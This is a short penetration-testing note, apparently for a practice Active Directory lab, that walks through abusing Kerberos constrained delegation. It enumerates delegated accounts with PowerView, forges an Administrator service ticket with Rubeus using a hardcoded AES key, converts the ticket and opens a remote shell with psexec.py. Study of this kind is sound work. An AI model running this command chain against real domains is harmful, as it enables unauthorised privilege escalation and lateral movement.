constrained-delegation

Technique Info

Step One - Identify Users with TRUSTED_TO_AUTH_FOR_DELEGATION

Command ( powerview.ps1)

Get-DomainUser -TrustedToAuth

Example

Step Two - Get Service Ticket with Rubeus.exe

Command

execute-assembly /home/jorkle/Rubeus.exe s4u /user:jon.snow /aes256:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb /impersonateuser:Administrator /msdsspn:CIFS/winterfell.north.sevenkingdoms.local /nowrap

Example

Step Three - Convert ticket with ticketConverter.py

# Store ticket.kirbi
echo "<base64-kirbi-data>" | base64 -d | tee ticket.kirbi
 
# Convert ticket
ticketConverter.py ./ticket.kirbi ticket.ccache

Step Four - Use Ticket with psexec.py

Command

export KRB5CCNAME=/home/jorkle/ticket.ccache
psexec.py north.sevenkingdoms.local/administrator@winterfell.north

.sevenkingdoms.local -k -no-pass

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "active-directory") OR contains(tags, "delegation") OR contains(tags, "lateral-movement") OR contains(tags, "escalation")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

delegation

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "delegation")
SORT file.ctime DESC

lateral-movement

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "lateral-movement")
SORT file.ctime DESC

escalation

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "escalation")
SORT file.ctime DESC